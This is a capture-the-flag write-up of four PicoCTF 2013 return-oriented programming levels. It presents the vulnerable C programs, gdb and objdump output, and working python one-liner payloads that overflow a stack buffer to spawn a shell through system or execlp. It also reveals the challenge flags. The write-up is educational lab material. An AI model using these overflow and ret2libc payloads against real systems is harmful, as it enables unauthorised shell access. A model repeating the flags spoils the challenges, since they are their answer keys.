Practice for my first ROP from the nice people from PicoCTF2013 with the help from very nice tutorial

Level 1

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int not_called() {
    return system("/bin/bash");
}

void vulnerable_function() {
    char buf[128];
    read(STDIN_FILENO, buf, 256);
}

void be_nice_to_people() {
    // /bin/sh is usually symlinked to bash, which usually drops privs. Make
    // sure we don't drop privs if we exec bash, (ie if we call system()).
    gid_t gid = getegid();
    setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people(); // 24 : privledges stuff , ignore them 
    vulnerable_function(); // overflow this, get shell
    write(STDOUT_FILENO, "Hello, World\n", 13);
}

The target here is to call not_called() by overflowing

read(STDIN_FILENO, buf, 256);

but instead of filling ret with the address of not_called() we gonna do some debugging for clearer representation.

The idea

Smashing the stack for fun and profit

void callme(int a, int b, int c){
    char buffer[10];
    return
}

int main(){
    callme(1,2,3);
}

when calling function callme, main does the following asm push $3 push $2 push $1 call callme ... ; continue whatever main does

if you familiar with stack, this is how our memory look like now

stack top <--[ whatever callme() does happen here ][ 1 ][ 2 ][ 3 ] stack bottom

You can imagine stack does this. However before call is executed, the stack now look like this

stack top <--[buffer ... ][ sfp ][ ret ][ 1 ][ 2 ][ 3 ] the interesting part is [ret], this is the pointer telling our computer where to continue next after callme() returned. if we can somehow replace [ret] with some random pointer, the code will simply continue in random place.

In our case, we wish our program to continue on some function that we wish to execute. Lets verify the idea ..

Check from Debugger

First begin by compiling our souce code with

//char buf[128];
char buf[8]; // for explaination purpose
u24@u24:~/Desktop$ gcc -m32 -g ./rop1.c -o rop1 -fno-stack-protector

first look at the ASM code for our main function

u24@u24:~/Desktop$ gdb rop1
(gdb) disass main
Dump of assembler code for function main:
   0x0804853d <+0>: push   %ebp
   0x0804853e <+1>: mov    %esp,%ebp
   0x08048540 <+3>: and    $0xfffffff0,%esp
   0x08048543 <+6>: sub    $0x10,%esp
   0x08048546 <+9>: call   0x8048514 <be_nice_to_people> 
   0x0804854b <+14>:    call   0x80484f1 <vulnerable_function> #we calling here 
   0x08048550 <+19>:    movl   $0xd,0x8(%esp) #when vulnerable function return it should be here 
   0x08048558 <+27>:    movl   $0x804860a,0x4(%esp)
   0x08048560 <+35>:    movl   $0x1,(%esp)
   0x08048567 <+42>:    call   0x80483c0 <write@plt>
   0x0804856c <+47>:    leave  
   0x0804856d <+48>:    ret  
End of assembler dump.
(gdb) p (void *)not_called 
$10 = (void *) 0x80484dd <not_called> #we will need it later
(gdb) break 12 # stop our program on line 12  
(gdb) r 
(gdb) set buf = "AAAA" #mark our pointer so they are easier to spot 
(gdb) x/32 $esp #examine memory of stack 
0xffffcf50: 0x000003e8  0x000003e8  0x000003e8  0x08048341
0xffffcf60: 0xffffd232  0x0000002f [0x41414141] 0x00000000
0xffffcf70: 0x00000001  0xffffd034  0xffffcf98 [0x08048550]
0xffffcf80: 0xf7fb13c4  0xf7ffd000  0x0804857b  0xf7fb1000
0xffffcf90: 0x08048570  0x00000000  0x00000000  0xf7e1fa83
0xffffcfa0: 0x00000001  0xffffd034  0xffffd03c  0xf7feacea
0xffffcfb0: 0x00000001  0xffffd034  0xffffcfd4  0x0804a01c
0xffffcfc0: 0x0804825c  0xf7fb1000  0x00000000  0x00000000
(gdb) 

I highlighted the interesting part in the stack
0xffffcf60: 0xffffd232 0x0000002f [0x41414141] 0x00000000
1. This is the memory there buf is stored
0xffffcf70: 0x00000001 0xffffd034 0xffffcf98 [0x08048550]
2. ret pointer is located here as well, pointing to 0x08048550 is where we should go next after vulnerable_function is called.We simply need to overwrite this pointer to where we wanted the program to go not_called()

(gdb) set *(int *)($ebp + 4) =  0x80484dd 
(gdb) c
Continuing.
BBBB
u24@u24:~/Desktop$ whoami
u24

As you can see, we have dropped into shell, the idea are indeed correct.

Testing our idea for this

looking at our objdump for the binary file we have this

080484a4 <not_called>:
 80484a4:   55                      push   %ebp
 80484a5:   89 e5                   mov    %esp,%ebp
 80484a7:   83 ec 18                sub    $0x18,%esp
 80484aa:   c7 04 24 10 86 04 08    movl   $0x8048610,(%esp)
 80484b1:   e8 ea fe ff ff          call   80483a0 <system@plt>
 80484b6:   c9                      leave  
 80484b7:   c3                      ret    

080484b8 <vulnerable_function>:
 80484b8:   55                      push   %ebp
 80484b9:   89 e5                   mov    %esp,%ebp
 80484bb:   81 ec 98 00 00 00       sub    $0x98,%esp #allocate 0x98 (152) byte for stack 
 80484c1:   c7 44 24 08 00 01 00    movl   $0x100,0x8(%esp) # push 256 as param 3 for read
 80484c8:   00 
 80484c9:   8d 85 78 ff ff ff       lea    -0x88(%ebp),%eax #reference to &buf = $ebp - 0x88
 80484cf:   89 44 24 04             mov    %eax,0x4(%esp) 
 80484d3:   c7 04 24 00 00 00 00    movl   $0x0,(%esp)
 80484da:   e8 a1 fe ff ff          call   8048380 <read@plt>
 80484df:   c9                      leave  
 80484e0:   c3                      ret    

our ret pointer should be on &buf + 136 + 4(for $ebp)

hence, using the hint given cat <(python -c 'print "my_exploit_string"') - | ./rop1

cat <(python -c 'print "A" * 140 + "\xa4\x84\x04\x08"') -| ./rop1

Level 2

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char * not_used = "/bin/bash";

int not_called() {
   return system("/bin/date");
}

void vulnerable_function() {
   char buf[128];
   read(STDIN_FILENO, buf, 256);
}

void be_nice_to_people() {
   // /bin/sh is usually symlinked to bash, which usually drops privs. Make
   // sure we don't drop privs if we exec bash, (ie if we call system()).
   gid_t gid = getegid();
   setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
   vulnerable_function();
   write(STDOUT_FILENO, "Hello, World\n", 13);
}

apparently we want system to call them as following

system(not_used)

and repeat with same trick in level 1.

lets look at some basic :

080484a4 <not_called>:
 80484a4:   55                      push   %ebp
 80484a5:   89 e5                   mov    %esp,%ebp
 80484a7:   83 ec 18                sub    $0x18,%esp
 80484aa:   c7 04 24 1a 86 04 08    movl   $0x804861a,(%esp) # *$0x804861a = "/bin/date"
 80484b1:   e8 ea fe ff ff          call   80483a0 <system@plt>
 80484b6:   c9                      leave  
 80484b7:   c3                      ret  

looking at data section of the binary to verify our claim

Contents of section .rodata:
 8048608 03000000 01000200 2f62696e 2f626173  ......../bin/bas
 8048618 68002f62 696e2f64 61746500 48656c6c  h./bin/date.Hell
 8048628 6f2c2057 6f726c64 0a00               o, World..    

plan 1:

  1. trick program to execute not_called , repeat level 1 trick
  2. can't trick system to use not_called as parameter
    /fail

plan 2:

  1. push not_used into stack.
  2. trick program to execute system bypassing not_called.

counting the address of "/bin/bash" we get ... 0x8048610
cat <(python -c 'print "A" * 140 + "\xb1\x84\x04\x08" + "\x10\x86\x04\x08"') -| ./rop2

essentially, our ROP did this two thing

 80484aa:   c7 04 24 1a 86 04 08    movl   "\x10\x86\x04\x08",(%esp) # *$0x8048610 = "/bin/bash"
 80484b1:   e8 ea fe ff ff          call   80483a0 <system@plt>

Level 3

#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void vulnerable_function()  {
   char buf[128];
   read(STDIN_FILENO, buf,256);
}

void be_nice_to_people() {
   // /bin/sh is usually symlinked to bash, which usually drops privs. Make
   // sure we don't drop privs if we exec bash, (ie if we call system()).
   gid_t gid = getegid();
   setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
        be_nice_to_people();
   vulnerable_function();
   write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ export | grep SHELL
export SHELL="/bin/sh"
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
SHELL will be at 0xffffd881
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e5bf30 <exit>
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
rop_rop_rop_all_the_way_home

ROP4

$ cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>

char exec_string[20];

void exec_the_string() {
 execlp(exec_string, exec_string, NULL);
}

void call_me_with_cafebabe(int cafebabe) {
 if (cafebabe == 0xcafebabe) {
  strcpy(exec_string, "/sh");
 }
}

void call_me_with_two_args(int deadbeef, int cafebabe) {
 if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
  strcpy(exec_string, "/bin");
 }
}

void vulnerable_function() {
 char buf[128];
 read(STDIN_FILENO, buf, 512);
}

void be_nice_to_people() {
 // /bin/sh is usually symlinked to bash, which usually drops privs. Make
 // sure we don't drop privs if we exec bash, (ie if we call system()).
 gid_t gid = getegid();
 setresgid(gid, gid, gid);
}

int main(int argc, char** argv) {
 exec_string[0] = '\0';
 be_nice_to_people();
 vulnerable_function();
}
$ ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4
$ ./getenvadrr SHELL ./rop4
SHELL will be at 0xffffd881
$ objdump -t rop4 | grep execlp
08053ab0 g     F .text 0000012a execlp
$ (python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4
cat /problems/ROP_4_887f7f28b1f64d7e/key
fluent_in_roponese

[top]



comments powered byDisqus